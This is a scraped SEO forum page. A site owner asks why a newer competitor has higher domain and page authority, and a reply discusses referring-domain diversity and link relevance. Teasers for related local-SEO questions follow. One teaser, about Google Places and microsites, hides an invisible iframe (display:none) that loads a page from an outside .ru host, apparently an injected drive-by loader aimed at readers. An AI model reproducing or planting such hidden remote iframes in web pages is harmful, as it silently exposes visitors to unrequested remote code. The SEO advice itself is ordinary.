Comparing oddities between two websites
-
I've been working on SEO for a local website for a few years, last year a new competitor has popped up and started kicking my tail. So I figured I would pose the question and see if someone could point me in a different more helpful direction. I'm mainly stumped as to why the newer competitor has a higher DA and PA when I look at his link profile and lack of website content.
A few Comparison notes
- Competitor is using SSL on the entire site. I am not (Checkmark for him)
- Competitor has a spam score of 8 out of 17 I have a 1 out of 17 (Checkmark for me)
- Competitor has a DA of 18 - My DA is 17 (Checkmark for him)
- Competitor has a PA of 32 - My PA is 28 (Checkmark for him)
- My Established Link Domains 14 and 127 Links. Also the PA and DA of my external links are much better than the competitor.
- Competitor has Established Link Domains 9 and 30 Links Also the PA and DA of my external links are much better than the competitor. (Checkmark for me)
- I have created around 50 custom blog articles along with the pages on my site he has 0 and only 5 pages indexed by Google. (Checkmark for me)
The major issue when I do a comparison on OSE is that he has more external links and external equity passing links even though the links are very low value.
-
-
Hi Matt,
I can tell you that Google does not value multiple links from one domain, so if I get 40 links from example.com, it will not count nearly as much as if I got 40 links from different domains.
It looks like you have found a place where you have followed backlinks.
Because of the lack of RD's or backlink diversity, you would not be able to distinguish really if one site is all that much better from the back links perspective. (Without seeing the backlinks)
Then the other they're both really not the way you want Google to judge your back link profile based on such little diversity.
Something that leads me to believe he has more relevant or powerful backlinks. Please do not think I'm saying something negative I do not have all the information so I can only tell you what I think based on what I have been shown.
Meaning RD's And unique IP's are what matters not a bunch of links that for all they know could have been your buddies site how relevant are your backlinks and how established or how powerful are your backlinks that are from different domains compared to your competitor?
It seems based on the authority rankings that your competitor has more relevant or powerful back links. Think of it this way if I were in finance I would rather get a backlink from Bloomberg.com or Forbes.com then Moz.com however I would prefer backlink from Moz.com only because it is more relevant unless one of these magazines was doing a story on me and, therefore, making it suitable.
Every example I've given you is a very high domain authority URL. If I got 40 links from every one of them, it would not help me very much. Where if I got ten links from unique domains it would give me a hand much more.
Relevancy so if I have one link verse your 20, and I will take my one relevant link from a high authority domain verse I ton of these less powerful domains.
I'm not saying that you are thinking from bad domains I'm just saying that the statistics that you're giving me are not something that is surprising. You both have very few root domains it would have to be that this person has more relevant or more powerful root domains.
If you feel comfortable showing us your back link profile in their back link profile, I'll be more than happy to explain precisely what I mean.
Please understand there are a lot of moving parts and were just talking about page and domain authority not the other big players like brain rank.
I hope this is of some help,
Tom
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
International SEO: reposting my own posts to different ccTLDs versions of my website
Hello there Moz community! Moz has been super helpful for me and the team, keep up the good work! I have searched online for answers regarding my specific situation, but I haven't found any. I'm asking my fellow Moz users in hopes of an answer. Maybe this thread will help others too. I currently have this domain: https://eco-reusable.com/ I would like to target Ireland and the UK with my keywords so I have just bought eco-reusable**.IE** and eco-reusable**.CO.UK** My questions are: 1. In order to rank as high as possible for Ireland, do I create a new website for eco-reusable.ie using the same pages but changing all the content slightly so it is not duplicate content OR do I point the eco-reusable.ie domain to eco-reusable.com? By having two sites, we will add more hours but we don't mind if that will be of benefit in the longrun for ranking high in Ireland. I have the same question for eco-reusable.co.uk
Local Website Optimization | | Gael_Regnault
If we have to create three websites and make similar content (not duplicate), we will if it will be better for ranking high in ireland for .ie, in the UK for .co.uk and for the rest of the world for .com 2. If we create three websites, can I safely "copy/paste" my blog posts without being punished by Google for duplicate content? If so, how much variation do we have to have for each of the three sites if we are writing blogs that are the same context. Thank you in advance! 🙂0 -
I have created a simple website, but one of the panels moves
All right, I've created a simple website (http://fontvilla.com) and I have had a problem for personal reasons. When you execute the code below and see the whiteboard at the right-hand side labeled as the.newsLetter and change the screen size, it moves away unlike that I have just floated right above. But if I float this one right then it floats to the middle of the screen, so works as I want it. In order to do that, I am going to make this reactive, and need to have it like the one above. You got a fix...?? Help, please! Thank you. Thank you. <title></span></p> <p><span>Home </span></p> <p><span></title> <nav> Contact Products About Home </nav> Here is just a simple title This is just a little bit of dummy text. This is just a little bit of dummy text. This is just a little bit of dummy text. This is just a little bit of dummy text. Welcome to A dummy website!! Latest News March 28, 2015 New advanced update with double speed and a whole bunch of cool new st.. more>> March 28, 2015 New advanced update with double speed and a whole bunch of cool new st.. more>>
Local Website Optimization | | fbowable0 -
Rebranding with the same website
Hello, I like to rebrand my site for the same URL - How can i do this?
Local Website Optimization | | signsny
Example: My site URL is www.signsny.com and i used "SignsNY" as brand name and citations and after the website redesign, i decide to go with "Signs NY" so i change the citations and pick the word as Signs NY to use but in google i lost the site links and knowledge graph on **Signs NY **keyword.......... Can you suggest me what to do and how to change the things for better results? Thanks,
Abie0 -
Best Practices: Different Phone Numbers on the Same Website
Since 2006 www.nyc-officespace-leader.com has promoted my commercial real estate brokerage business. I have been the sole broker listed on the site. As a result, the same phone number has appeared consistently throughout the site. Now I will be adding a colleague to the site (in addition to me) and I am struggling with how to best display my colleague's phone number. The 2nd broker will be adding property listings and blog posts. It was agreed that my phone number would be replaced by my colleagues phone number on his listings and blog posts. Pages that existed before would remain with my phone number. The idea being that leads generated by the 2nd broker's new content get directed to him rather than me. My concern is that having a new phone number listed will introduce an inconsistent phone number and harm our local SEO. I have read that it is absolutely critical that NAP (name, address, phone number) must be 100% consistent otherwise it can cause harm search engine ranking. What are best practices for displaying different phone numbers for different personnel on the same website without harming local SEO efforts? This situation is certainly common, so I would think there must be some work arounds. I have seen "Contact" icons that when clicked show phone numbers. Is there any standard solution for this issue that keeps NAP data consistent? Also, what if we keep the same number in the header but use different numbers in other locations? Is the header a location where we should be extra careful to display the same phone number? Thanks,
Local Website Optimization | | Kingalan1
Alan Rosinsky
Metro Manhattan Office Space, Inc. An example of inconsistent listing pages are: -http://www.nyc-officespace-leader.com/listings/386-w-38th-street-office-lease-2370sf
(Broker "#2) -http://www.nyc-officespace-leader.com/listings/329-545-eighth-ave-office-lease-525sf
(myself) An example of inconsistent blog pages are: -http://www.nyc-officespace-leader.com/blog/the-tech-explosion-impact-on-chelsea-2
(Broker "#2) -http://www.nyc-officespace-leader.com/blog/office-space-build-out-cost
(myself)0 -
Migrating to new website with new name and new content
Hi for the past few years I have been running a personal training company from the following domain name www.smpt.me. This has done well in the past and so has some authority in google as it was ranking well on page 1. Over the last 6 months I have set up a new website with some new business partners using the domain name www.healthbyscience.co.uk. This new website, whilst still a personal training website, has different content to the original. We want to use the new website rather than the old one and therefore my question is how I can use the old website to assist with the new website. Thanks
Local Website Optimization | | Health-by-Science0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120 -
Website Mods and SEO for Multi-Location Practice?
We're in the process of taking over a WordPress website within the next week for a 3 location medical practice. These are in 3 different cities. 1 location is in a pretty competitive market, while the other 2 are not. The current site isn't bad for design and navigation and they don't have the budget for a full-redesign. Structurally, it is sound. It lacks a lot of content though and a blog. It is not responsive, should we convert to make it responsive? At first glance you can't tell they have 3 locations and their content for each location and services offered is pretty weak. What other suggestions do any of you have for getting the main site to rank for all 3 locations? I know it'll take some time since they are no where to be found now, but just looking for any other tips you may all have. Thanks!! - Patrick
Local Website Optimization | | WhiteboardCreations0 -
How Best to do implement a Branch Locator for a Website with invididual location category pages
Hi All, We have an ecommerce Website with multiple locations for our stores and we currently display separate location specific pages for the different categories and sub categories. This has helped us previously to rank well for local search in each of the areas we have a store but over the last few months since humingbird, our local rankings on some things have dip a little . We want to implement a branch locator of some description to improve the user experience. From looking at other websites with branch locators, they tend to a separate button/page with which you can search for a branch etc. However, they don't have location specific pages. My query is should I do it so if a user comes in on a specific category location page and follows it through to product page , then to have a tab on the product page displaying the local branch from which he can come in. My thinking here is that , is that it would help confirm my local citations and help improve local rankings. Or Should the local branch be displayed on the local category pages instead or as well ?. If a user comes in from the homepage or not on a specific location page, then the branch locator will allow them to search for a specific branch. Should I also put in a branch locator as a separate page or can It be in more places. I don't want to damage anything which may have an effect on rankings due to citations and NAP on the location specific pages. Any advice or good examples to look at would be greatly appreciated thanks Sarah.
Local Website Optimization | | SarahCollins1